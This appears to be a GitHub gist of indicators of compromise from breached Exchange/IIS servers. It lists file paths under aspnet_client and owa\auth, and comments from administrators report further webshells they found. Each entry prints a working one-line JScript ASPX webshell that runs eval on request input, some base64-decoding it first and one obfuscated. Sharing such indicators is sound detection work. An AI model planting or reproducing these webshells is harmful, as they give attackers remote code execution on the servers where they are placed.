1 C:\inetpub\wwwroot\aspnet_client\system_web\gx5wDvBY.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\gwVPU69R.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\GtKNFaZM.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\grDob6zC.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\GnTEiDtw.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\gm2Up6nQ.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\GcCvxza1.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\gaVKFJdc.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["VM59yu6U3WhN"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\G8fkjsbx.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["fCbIUAoHD4Ra"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\g6iSK9JA.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\FU7Vif5K.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\FqCk3B67.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\FPBnIZji.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\flFJWSha.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\FjL9EIvA.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\FgzT05UJ.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\FgVcoQaD.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\FGD3XCju.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\f5vZFG8D.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\f5A4Pva1.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\F3UVSWy5.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\ev8dSMEb.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\eMJ8ZqYX.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\eMbVJK2v.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\E4KCpjoI.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\dQVDavil.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\dqaGUBcE.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\Dkwpb85a.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\dh647GTb.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["coStWhkzUF7n"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\DCXrMji2.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\Dbp7nXco.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\DAnBVxTF.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\D8NTsC4w.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\D0vPCZ9X.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\cXyENQxp.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["IM07una1zNYd"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\CX47ujQS.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\comHG5iz.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\CM5e1mjW.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\CeN4EBsF.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\caVZQkJF.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\C620IkTc.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\C5zFjeDl.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\c2TUqNrx.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\C0SE6dYt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\bwGnDHiW.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\bUkaFcvq.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\bQHvTwSq.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\BgnjSI4Z.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\BDJp3WSQ.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\b7fcGOJy.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\b3igkeof.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\aXnJTHkd.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\APc6kt0F.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\aM9E4XBN.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["iOnzSBXdA2FP"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\AGWFhTPp.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\aG0rwyfZ.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\9YOikouT.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["EiH4yV2WGYgc"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\9vkjdUnK.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\9UKo5Gr3.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\9awuGPzD.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\93aDrsxl.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\8tzybc6a.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\8tWVK1Gs.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\8nCHwxeo.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\7x12vptC.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NVCproEij1Fu"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\7qjyoMlS.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\7hsdqr2X.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\7H3kSz5g.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\70CJOw4i.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\6zOVIhZf.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\6frKZahs.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\63kWBVH5.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\5M9bZWc7.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\5jTF3M9E.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\5I3ARcij.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\5fxzdtAl.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["GKVWDMrzCtXn"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\5Fd4wjzg.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["Hjom79sRZQuM"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\4YCo0Zhg.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\4DRbBQwm.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\2YiFOPS0.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\2WEQCSKa.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\2sruqPUH.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\1zOaF9mX.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\1TVI2paz.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\1rlVmLg3.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\1FAD3YuH.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\1DOyENMK.aspx http://f/f34fji34r209ur29ur92r
1 C:\inetpub\wwwroot\aspnet_client\system_web\0x9pzh86.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\0Dj4P6Sy.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\system_web\0cvxSJy9.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["NO9BxmCXw0JE"],"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["ea1ed8ac96aa3221ca8b6b84a31397a9"])),"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["d12cf8d7af0362cc516682d43ee2cc8a"])),"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["c1b4c41f21e65f5a1260eade4cc47e5c"])),"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["c06d404db9afea3a6eaba5d92bf20338"])),"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["b43d59ff4fb530efc2082d98c446fcec"])),"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["b303c7ec44bbf98f5a7e2c9f86abe66d"])),"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["b2534dbb202a06e3fe6011e64f6ad4a2"])),"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["af4a168d5f8ff220bee813a3a08f5290"])),"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["aec6520ad9b0389f433274fdc416d2e1"])),"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["a70043de8b6b77ba2cb7e3d1106dcffe"])),"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["a038950b79253130ea59b83078ac8f45"])),"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["9ed6128a4b721f4bc5b51889132d4a19"])),"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["40a0364656b661aece12ca85a0d2601d"])),"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["3175158d460a6d73a7c0eb3ab29d7302"])),"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["2aa6fee24b0533d8ccb68993f6f441b4"])),"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["177c6b3889424e0c6fc201130912a81a"])),"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\supp0rt.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["11cbada4420b0a87eb9531ad6f10dc81"])),"unsafe");}</script>
1 C:\inetpub\wwwroot\aspnet_client\shell.aspx http://a/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
1 C:\inetpub\wwwroot\aspnet_client\errorcheck.aspx http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["orange"],"unsafe");}</script>
@Mbiko
Copy link

Mbiko commented Mar 10, 2021

I have an additional file i found on my server which was compromised named logaaa.aspx found in the following path "C:\inetpub\wwwroot\aspnet_client" together with discover.aspx and 0QWYSEXe.aspx which you have added here. it also had this when opened through notepad: http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["orange1"],"unsafe");}</script>
Thanks and Regards

@BrandonWilson-IT
Copy link

Found a server in my environment with the following:
Directory:
C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth

File:
PhoneOm.aspx

Webshell Syntax:

ExternalUrl : http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["klk123456"],"unsafe");}</script>

@SirMoefe
Copy link

Found the following files on our exchange server in C:\inetpub\wwwroot\aspnet_client:

Filename:

logaaa.aspx -> Webshell Syntax: http://f/<script language="JScript" runat="server">function Page_Load(){eval(Request["orange1"],"unsafe");}</script>
PsVxy7.aspx -> Webshell Syntax: http://f/<script language="JScript" runat="server">function Page_Load(){var mtkf="mdeklfxurzowacptnsjvyhqgib";var wjqY=Request.Form("dsOAtDQ5rV");var iXAP=mtkf(7)+mtkf(16)+mtkf(17)+mtkf(12)+mtkf(5)+mtkf(2);eval(wjqY,iXAP);}</script>
supp0rt.aspx -> Webshell Syntax: http://f/<script language="JScript" runat="server">function Page_Load(){eval(System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(Request.Item["fcf6d627d22d853c3bf8139a86fc2e62"])),"unsafe");}</script>

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment